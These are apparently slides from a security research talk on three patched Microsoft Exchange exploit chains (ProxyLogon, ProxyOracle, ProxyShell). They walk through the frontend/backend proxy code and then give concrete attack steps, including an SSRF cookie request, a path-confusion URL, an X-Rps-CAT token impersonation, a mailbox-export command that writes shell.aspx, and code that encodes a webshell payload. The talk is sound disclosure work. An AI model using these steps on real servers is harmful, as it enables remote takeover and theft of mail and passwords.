 - 2017 - 1st place of Top 10 Web Hacking Techniques
 - 2018 - 1st place of Top 10 Web Hacking Techniques
 - 2019 - Winner of Pwnie Awards "Best Server-Side Bug"
 - 2021 - Champion and "Master of Pwn" of Pwn2Own

Disclaimer

All vulnerabilities disclosed today are reported responsibly and
patched by Microsoft

Why Target Exchange Server?

1. Mail servers always keep confidential secrets and Exchange Server is the most well-known mail solution for enterprises and governments worldwide
2. Has been the target for Nation-sponsored hackers for a long time (Equation Group 😊)
3. More than 400,000 Exchange servers exposed on the Internet according to our survey

Exchange Security in the Past Years

- Most bugs are based on known attack vectors but there are still several notable bugs:
 1. **EnglishmansDentist** from Equation Group:
 - **Recap:** A only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003
 2. **CVE-2020-0688 Hardcoded MachineKey** from anonymous working with ZDI:
 - **Recap:** A classic .NET deserialization bug due to a hardcoded cryptography key. This is also a hint shows Microsoft Exchange is lacking of security reviews

IT'S 2020 AND EXCHANGE STILL HAS

A HARD-CODED KEY

Our Works

- We focus on the Exchange architecture and discover a new attack surface that no one proposed before. That's why we can pop 0days easily!
- We discovered 8 vulnerabilities that covered server-side, client-side, and crypto bugs through this new attack surface, and chained into 3 attacks:
 1. **ProxyLogon**: The most well-known pre-auth RCE chain
 2. **ProxyOracle**: A plaintext-password recovery attacking chain
 3. **ProxyShell**: The pre-auth RCE chain we demonstrated at Pwn2Own 2021

Vulnerabilities We Discovered

Exchange Architecture

Where to Focus?

- We focus on the Client Access Service (CAS)
- CAS is a fundamental protocol handler in Microsoft Exchange Server.

The Microsoft official documentation also indicates:

"Mailbox servers contain the Client Access Services that **accept client connections for all protocols**. These frontend services are **responsible for routing or proxying connections** to the corresponding backend services"

Exchange 2016 Mailbox server

Client Access Service in IIS

The screenshot shows the Internet Information Services (IIS) Manager console. The left pane displays the 'Connections' tree, where the 'Sites' folder under 'EX01 (ORANGE\Administrator)' is selected. A red box highlights this area with the text 'Two websites?'. The right pane shows the 'Sites' list with two entries: 'Default Web Site' and 'Exchange Back End'. The 'Binding' column for each site shows the following configurations:

Name	Binding
Default Web Site	*:80 (http), 808:* (net.tcp), localhost (net.msmlq)
Exchange Back End	*:81 (http), *:444 (https), * (net.pipe)

Client Access Service in IIS

Exchange Architecture

- Applications in Frontend include the **ProxyModule**
 - Parse incoming HTTP requests, apply protocol specified settings, and forward to the Backend
- Applications in Backend include the **BackendRehydrationModule**
 - Receive and populate HTTP requests from the Frontend
- Applications synchronizes the internal information between the Frontend and Backend by HTTP headers

FrontEnd Service

BackEnd Service

Our Ideas

Could we access the Backend intentionally?

\ProxyRequestHandler.cs

1. Request Section

- > CopyHeadersToServerRequest
- > CopyCookiesToServerRequest
- > AddProtocolSpecificHeadersToServerRequest

2. Proxy Section

- > GetTargetBackEndServerUrl
- > CreateServerRequest
- > GetServerResponse

3. Response Section

- > CopyHeadersToClientResponse
- > CopyCookiesToClientResponse

Copy Client Headers

1. Request Section

> **CopyHeadersToServerRequest**

> CopyCookiesToServerRequest

> AddProtocolSpecificHeadersToServerRequest

2. Proxy Section

> GetTargetBackEndServerUrl

> CreateServerRequest

> GetServerResponse

3. Response Section

> CopyHeadersToClientResponse

> CopyCookiesToClientResponse

HTTP Header Blacklists

HttpProxy\ProxyRequestHandler.cs

```
protected virtual bool ShouldCopyHeaderToServerRequest(string headerName) {  
    return !string.Equals(headerName, "X-CommonAccessToken", OrdinalIgnoreCase)  
        && !string.Equals(headerName, "X-IsFromCafe", OrdinalIgnoreCase)  
        && !string.Equals(headerName, "X-SourceCafeServer", OrdinalIgnoreCase)  
        && !string.Equals(headerName, "msExchProxyUri", OrdinalIgnoreCase)  
        && !string.Equals(headerName, "X-MSExchangeActivityCtx", OrdinalIgnoreCase)  
        && !string.Equals(headerName, "return-client-request-id", OrdinalIgnoreCase)  
        && !string.Equals(headerName, "X-Forwarded-For", OrdinalIgnoreCase)  
        && (!headerName.StartsWith("X-Backend-Diag-", OrdinalIgnoreCase)  
            || this.ClientRequest.GetHttpRequestBase().IsProbeRequest());  
}
```

Copy Client Cookies

1. Request Section

- > `CopyHeadersToServerRequest`
- > **`CopyCookiesToServerRequest`**
- > `AddProtocolSpecificHeadersToServerRequest`

2. Proxy Section

- > `GetTargetBackEndServerUrl`
- > `CreateServerRequest`
- > `GetServerResponse`

3. Response Section

- > `CopyHeadersToClientResponse`
- > `CopyCookiesToClientResponse`

Add Special Headers

1. Request Section

- > `CopyHeadersToServerRequest`
- > `CopyCookiesToServerRequest`
- > `AddProtocolSpecificHeadersToServerRequest`

2. Proxy Section

- > `GetTargetBackEndServerUrl`
- > `CreateServerRequest`
- > `GetServerResponse`

3. Response Section

- > `CopyHeadersToClientResponse`
- > `CopyCookiesToClientResponse`

Clone User Identity

HttpProxy\ProxyRequestHandler.cs

```
if (this.ClientRequest.IsAuthenticated) {  
    CommonAccessToken commonAccessToken = AspNetHelper.FixupCommonAccessToken(  
        this.HttpContext, this.AnchoredRoutingTarget.BackEndServer.Version);  
  
    if (commonAccessToken != null) {  
        headers["X-CommonAccessToken"] = commonAccessToken.Serialize(  
            new int?(HttpProxySettings.CompressTokenMinimumSize.Value));  
    }  
} else if (this.ShouldBackendRequestBeAnonymous()) {  
    headers["X-CommonAccessToken"] = new CommonAccessToken(9).Serialize();  
}
```

Calculate Backend URL

1. Request Section

- > CopyHeadersToServerRequest
- > CopyCookiesToServerRequest
- > AddProtocolSpecificHeadersToServerRequest

2. Proxy Section

- > **GetTargetBackEndServerUrl**
- > CreateServerRequest
- > GetServerResponse

3. Response Section

- > CopyHeadersToClientResponse
- > CopyCookiesToClientResponse

Create New HTTP Client

1. Request Section

- > CopyHeadersToServerRequest
- > CopyCookiesToServerRequest
- > AddProtocolSpecificHeadersToServerRequest

2. Proxy Section

- > GetTargetBackEndServerUrl
- > **CreateServerRequest**
- > GetServerResponse

3. Response Section

- > CopyHeadersToClientResponse
- > CopyCookiesToClientResponse

Attach Authorization Header

HttpProxy\ProxyRequestHandler.cs

```
if (this.ProxyKerberosAuthentication) {  
    // use origin Kerberos Authentication  
} else if (this.AuthBehavior.AuthState == AuthState.BackEndFullAuth || this.  
    ShouldBackendRequestBeAnonymous() || (HttpProxySettings.TestBackEndSupportEnabled.Value  
    && !string.IsNullOrEmpty(this.ClientRequest.Headers["TestBackEndUrl"]))) {  
    // unauthenticated  
} else {  
    serverRequest.Headers["Authorization"] = KerberosUtilities.GenerateKerberosAuthHeader(  
        serverRequest.Address.Host, this.TraceContext,  
        ref this.authenticationContext, ref this.kerberosChallenge);  
}
```

Generate Kerberos Ticket

HttpProxy\KerberosUtilities.cs

```
internal static string GenerateKerberosAuthHeader(string host, int traceContext, ref
    AuthenticationContext authenticationContext, ref string kerberosChallenge) {
    // ...
    authenticationContext = new AuthenticationContext();
    authenticationContext.InitializeForOutboundNegotiate(AuthenticationMechanism.Kerberos,
        "HTTP/" + host, null, null);

    SecurityStatus securityStatus = authenticationContext.NegotiateSecurityContext(inputBuffer,
        out bytes);

    return "Negotiate " + Encoding.ASCII.GetString(bytes);
}
```

The Actual Request Sent to Backend

1 GET /owa/ HTTP/1.1

5 Authorization: Negotiate

YIIGbAYJKoZiHvcSAQICAQBuggZbMIIGV6ADAgEFoQMCAQ6iBwMFACAAAACjggSSYYIEjjCCBIqgAwIBBaEOGwxP

11 X-CommonAccessToken:

VgEAVAdXaW5kb3dzQwBBBUJhc2ljTBRPUkFOR0VcQWRtaW5pc3RyYXRvc1UsUy0xLTUtMjE2NjU2Q2Nj

Get Backend Response

1. Request Section

- > CopyHeadersToServerRequest
- > CopyCookiesToServerRequest
- > AddProtocolSpecificHeadersToServerRequest

2. Proxy Section

- > GetTargetBackEndServerUrl
- > CreateServerRequest
- > **GetServerResponse**

3. Response Section

- > CopyHeadersToClientResponse
- > CopyCookiesToClientResponse

Copy Response to Client

1. Request Section

- > CopyHeadersToServerRequest
- > CopyCookiesToServerRequest
- > AddProtocolSpecificHeadersToServerRequest

2. Proxy Section

- > GetTargetBackEndServerUrl
- > CreateServerRequest
- > GetServerResponse

3. Response Section

- > CopyHeadersToClientResponse
- > CopyCookiesToClientResponse

Backend Rehydration Module

\BackendRehydrationModule.cs

```
private void OnAuthenticateRequest(object source,
    EventArgs args) {
    if (HttpContext.Request.IsAuthenticated) {
        this.ProcessRequest(HttpContext);
    }
}

private void ProcessRequest(HttpContext httpContext) {
    CommonAccessToken token;
    if (this.TryGetCommonAccessToken(httpContext, out token))
        // ...
}
```

Restore Frontend User Identity

Security\Authentication\BackendRehydrationModule.cs

```
private bool TryGetCommonAccessToken(HttpContext httpContext, out
    CommonAccessToken token) {
    1 string text = httpContext.Request.Headers["X-CommonAccessToken"];
    flag = this.IsTokenSerializationAllowed(httpContext.User.Identity
        as WindowsIdentity);
    if (!flag)
        throw new BackendRehydrationException(...)

    2 token = CommonAccessToken.Deserialize(text);
    httpContext.Items["Item-CommonAccessToken"] = token;
```

Is Token Serialization Allowed?

Security\Authentication\BackendRehydrationModule.cs

```
private bool TryGetCommonAccessToken(HttpContext httpContext, out
    CommonAccessToken token) {
    string text = httpContext.Request.Headers["X-CommonAccessToken"];
    1 flag = this.IsTokenSerializationAllowed(httpContext.User.Identity
        as WindowsIdentity);
    if (!flag)
    2     throw new BackendRehydrationException(...)

    token = CommonAccessToken.Deserialize(text);
    httpContext.Items["Item-CommonAccessToken"] = token;
```

Check AD Extended Rights

Security\Authentication\BackendRehydrationModule.cs

```
private bool IsTokenSerializationAllowed(WindowsIdentity windowsIdentity) {  
    flag2 = LocalServer.AllowsTokenSerializationBy(clientSecurityContext);  
    return flag2;  
}  
  
private static bool AllowsTokenSerializationBy(ClientSecurityContext clientContext) {  
    return LocalServer.HasExtendedRightOnServer(clientContext,  
        WellKnownGuid.TokenSerializationRightGuid); // ms-Exch-EPI-Token-Serialization  
}
```

Auth-Flow in Summary

1. Frontend IIS authenticates the request (Windows or Basic authentication) and serializes the current Identity to **X-CommonAccessToken** HTTP header
2. Frontend generates a Kerberos ticket by its HTTP SPN to **Authorization** HTTP header
3. Frontend proxies the HTTP request to Backend
4. Backend IIS authenticates the request and check the authenticated user has **TokenSerialization** right
5. Backend rehydrates the user from **X-CommonAccessToken** HTTP header

Let's Hack the Planet

ProxyLogon

- The most well-known Exchange Server vulnerability in the world 🥲
 - An unauthenticated attacker can execute arbitrary codes on Microsoft Exchange Server through an only exposed 443 port!
- ProxyLogon is chained with 2 bugs:
 - CVE-2021-26855 - Pre-auth SSRF leads to Authentication Bypass
 - CVE-2021-27065 - Post-auth Arbitrary-File-Write leads to RCE

Where ProxyLogon Begin?

1. Request Section

- > CopyHeadersToServerRequest
- > CopyCookiesToServerRequest
- > AddProtocolSpecificHeadersToServerRequest

2. Proxy Section

- > **GetTargetBackEndServerUrl**
- > CreateServerRequest
- > GetServerResponse

3. Response Section

- > CopyHeadersToClientResponse
- > CopyCookiesToClientResponse

Arbitrary Backend Assignment

HttpProxy\OwaResourceProxyRequestHandler.cs

```
protected override AnchorMailbox ResolveAnchorMailbox() {  
  1  HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"];  
    if (httpCookie != null) {  
      this.savedBackendServer = httpCookie.Value;  
    }  
  
    return new ServerInfoAnchorMailbox(  
  2  BackEndServer.FromString(this.savedBackendServer), this);  
}
```

Request

Pretty Raw \n Actions ▾

```
1 GET /owa/auth/x.js HTTP/1.1
2 Host: ex01.orange.local
3 Cookie: X-AnonResource=true; X-AnonResource-Backend=
  foo@example.com/#~1941997017
4
5
```

Response

Pretty Raw Render \n Actions ▾

[Blurred response content]

https://[foo@example.com:443/path#]:444/owa/auth/x.js

```
1 <!doctype html>
2 <html>
2 <head>
2   <title>Example Domain</title>
2
2   <meta charset="utf-8" />
```

Super SSRF

- What's the root cause about this arbitrary backend assignment?
 - The Exchange has to adapt the compatibility between new and old architectures, hence Exchange introduces the cookie
- A Super SSRF
 - Control almost all the HTTP request and get all the response
 - Attach with a Kerberos Ticket with Exchange\$ account privilege automatically
 - Leverage the backend internal API `/ecp/proxylogon.ecp` to obtain a valid Control Panel session and a file-write bug to get RCE

Demo

<https://youtu.be/SvjGMo9aMwE>

ProxyOracle

- An interesting Exchange Server exploit with different approach
 - An unauthenticated attacker can recover the victim's username and password in plaintext format simply by pushing the user open the malicious link
- ProxyOracle is chained with 2 bugs:
 - CVE-2021-31195 - Reflected Cross-Site Scripting
 - CVE-2021-31196 - Padding Oracle Attack on Exchange Cookies Parsing

How Users Log-in OWA/ECP?

Domain\user name:

Password:

Form-Based Authentication

How FBA Cookies Looks Like

The screenshot shows a web browser's developer tools with the 'Response' tab selected. The response is a cookie named 'cadata' with a long alphanumeric value. The cookie is highlighted with a red box. Below the cookie, five red boxes with black borders label the components of the cookie value: 'cadata', 'cadataTTL', 'cadataKey', 'cadataIV', and 'cadataSig'.

```

```

cadata cadataTTL cadataKey cadataIV cadataSig

FbaModule Encryption Logic

PSEUDO CODE

```
@key = GetServerSSLCert().GetPrivateKey()  
cadataSig = RSA(@key).Encrypt("Fba Rocks!")  
cadataIV = RSA(@key).Encrypt(GetRandomBytes(16))  
cadataKey = RSA(@key).Encrypt(GetRandomBytes(16))  
  
@timestamp = GetCurrentTimestamp()  
cadataTTL = AES_CBC(cadataKey, cadataIV).Encrypt(@timestamp)  
  
@blob = "Basic " + ToBase64String(UserName + ":" + Password)  
cadata = AES_CBC(cadataKey, cadataIV).Encrypt(@blob)
```

Padding Oracle

STILL WORKDS

FbaModule Encryption Logic

HttpProxy\FbaModule.cs

```
private void ParseCadataCookies(HttpApplication httpApplication) {  
    using (ICryptoTransform transform = aesCryptoServiceProvider.CreateDecryptor()) {  
        try {  
            byte[] array5 = Convert.FromBase64String(request.Cookies["cadata"].Value);  
            bytes2 = transform.TransformFinalBlock(array5, 0, array5.Length);  
        } catch (CryptographicException arg8) {  
            return;  
        }  
    }  
}
```

The Oracle

\FbaModule.cs

```
protected enum LogonReason {  
    None,  
    Logoff,  
    InvalidCredentials,  
    Timeout,  
    ChangePasswordLogoff  
}
```

We can decrypt the cookies now

But... How to get the client cookies?

We discover a new XSS to chain together

However, all sensitive cookies are protected by `HttpOnly` 😞

Take Over Client Requests

Demo

<https://youtu.be/VuJvmJZxogc>

ProxyShell

- The exploit chain we demonstrated at Pwn2Own 2021
 - An unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an only exposed 443 port!
- ProxyShell is chained with 3 bugs:
 - CVE-2021-34473 - Pre-auth Path Confusion leads to ACL Bypass
 - CVE-2021-34523 - Elevation of Privilege on Exchange PowerShell Backend
 - CVE-2021-31207 - Post-auth Arbitrary-File-Write leads to RCE

Where ProxyShell Begin?

1. Request Section

- > CopyHeadersToServerRequest
- > CopyCookiesToServerRequest
- > AddProtocolSpecificHeadersToServerRequest

2. Proxy Section

- > **GetTargetBackEndServerUrl**
- > CreateServerRequest
- > GetServerResponse

3. Response Section

- > CopyHeadersToClientResponse
- > CopyCookiesToClientResponse

ProxyShell

- ProxyShell started with a Path Confusion bug on Exchange Server

Explicit Logon feature

- The feature is designed to enable users to open another mailbox/calendar and display it in a new browser window
- The Exchange parsed the mailbox address and **normalized the URL internally**

`https://exchange/OWA/user@orange.local/Default.aspx`

Extract Mailbox Address from URL

HttpProxy\EwsAutodiscoverProxyRequestHandler.cs

```
protected override AnchorMailbox ResolveAnchorMailbox() {  
    if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath))  
        2 text = base.ClientRequest.Params["Email"];  
    // ...  
    this.isExplicitLogonRequest = true;  
    this.explicitLogonAddress = text;  
}  
  
public static bool IsAutodiscoverV2PreviewRequest(string path) {  
    1 return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase);  
}
```

The Fatal Erase

HttpProxy\EwsAutodiscoverProxyRequestHandler.cs

```
protected override UriBuilder GetClientUrlForProxy() {  
    string absoluteUri = base.ClientRequest.Url.AbsoluteUri;  
    1 uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri,  
        this.explicitLogonAddress);  
    return new UriBuilder(uri);  
}  
  
public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string  
    explicitLogonAddress) {  
    string text = "/" + explicitLogonAddress;  
    if (absoluteUri.IndexOf(text) != -1)  
    2 return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length);  
}
```

The actual part to be removed

`https://exchange/autodiscover/autodiscover.json?@foo.com/?&
Email=autodiscover/autodiscover.json%3f@foo.com`

Explicit Logon pattern

The actual part to be removed

`https://exchange/autodiscover/autodiscover.json?@foo.com/?&`
`Email=autodiscover/autodiscover.json%3f@foo.com`

Explicit Logon pattern

`https://exchange:444/?&`

`Email=autodiscover/autodiscover.json%3f@foo.com`

Arbitrary Backend Access Again!

Exchange MAPI/HTTP Connectivity Endpoint

Version: 15.2.792.3
Vdir Path: /mapi/nspi/

User: NT AUTHORITY\SYSTEM
UPN:
SID: S-1-5-18

Organization:
Authentication: Negotiate

Exchange PowerShell Remoting

- The Exchange PowerShell Remoting is a command-line interface that enables the automation of Exchange tasks
 - The Exchange PowerShell Remoting is built upon PowerShell API and uses the Runspace for isolations. All operations are based on WinRM protocol
 - Interact with the PowerShell Backend fails because there is no mailbox for the SYSTEM user
- We found a piece of code extract Access-Token from URL

Extract Access Token from URL

\Configuration\RemotePowershellBackendCmdletProxyModule.cs

```
private void OnAuthenticateRequest(object source, EventArgs args) {  
    HttpContext httpContext = HttpContext.Current;  
    if (httpContext.Request.IsAuthenticated) {  
        1 if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) {  
            Uri url = httpContext.Request.Url;  
            Exception ex = null;  
            2 CommonAccessToken commonAccessToken = CommonAccessTokenFromUrl(httpContext.  
                User.Identity.ToString(), url, out ex);  
        }  
    }  
}
```

Extract Access Token from URL

\RemotePowershellBackendCmdletProxyModule.cs

```
private CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI,
    out Exception ex) {

    CommonAccessToken result = null;
    string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri(
        requestURI).Get("X-Rps-CAT");

    result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text));
    return result;
}
```

Privilege Downgrade

- An Elevation of Privilege (EOP) because we can access Exchange PowerShell Backend directly
 - The intention of this operation is to be a quick proxy for Internal Exchange PowerShell communications
- Specify the Access-Token in **X-Rps-CAT** to Impersonate to any user
 - We use this Privilege Escalation to "downgrade" ourself from SYSTEM to Exchange Admin

Execute Arbitrary Exchange PowerShell as Admin

And then?

Attack Exchange PowerShell

- The last piece of the puzzle is to find a post-auth RCE to chain together
 - Since we are Exchange admin now, It's easy to abuse the Exchange PowerShell command `New-MailboxExportRequest` to export user's mailbox into an UNC path

```
New-MailboxExportRequest -Mailbox orange@orange.local  
-FilePath \\127.0.0.1\C$\path\to\shell.aspx
```

Payload Delivery

- How to embed the malicious payload into the exported file?
 - We deliver the malicious payloads by Emails (SMTP) but the file is encoded😞
 - The exported file is in Outlook Personal Folders (PST) format, by reading the MS-PST documentation, we learned it's just a simple permutation encoding

\RemotePowershellBackendCmdletProxyModule.cs

```
mpbbCrypt = [65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, ...]  
encode_table = bytes.maketrans((bytearray(mpbbCrypt), bytearray(range(256))))  
'<%@ Page Language="Jscript"%>...'.translate(encode_table)
```

Put it All Together

1. Deliver our encoded WebShell payload by SMTP
2. Launch the native PowerShell and intercept the WinRM protocol
 - Rewrite the `/PowerShell/` to `/Autodiscover/` to trigger the Path Confusion bug
 - Add query string `X-Rps-CAT` with corresponding Exchange Admin Access Token
3. Execute commands inside the established PowerShell session
 - `New-ManagementRoleAssignment` to grant ourself `Mailbox Import Export` Role
 - `New-MailboxExportRequest` to write ASPX file into the local UNC path
4. Enjoy the shell

Demo

Mitigations

1. Keep Exchange Server up-to-date and not externally facing the Internet (especially web part)
2. Microsoft has enhanced the CAS Frontend in April 2021
 - The enhancement mitigated the authentication part of this attack surface and reduced the "pre-auth" effectively
3. Move to Office 365 Exchange Online 🤪 (Just kidding)

Conclusion

- Modern problems require modern solutions
 - Try to comprehend the architectures from a higher point of view
- The Exchange CAS is still a good attack surface
 - Due to the lack of "pre-auth" bugs, the result may not be as powerful as before
- Exchange is still a buried treasure and waiting for you to hunt bugs
 - Fun fact - even you found a super critical bug like ProxyLogon, Microsoft will not reward you any bounty because Exchange Server On-Prem is out of scope

Thanks!
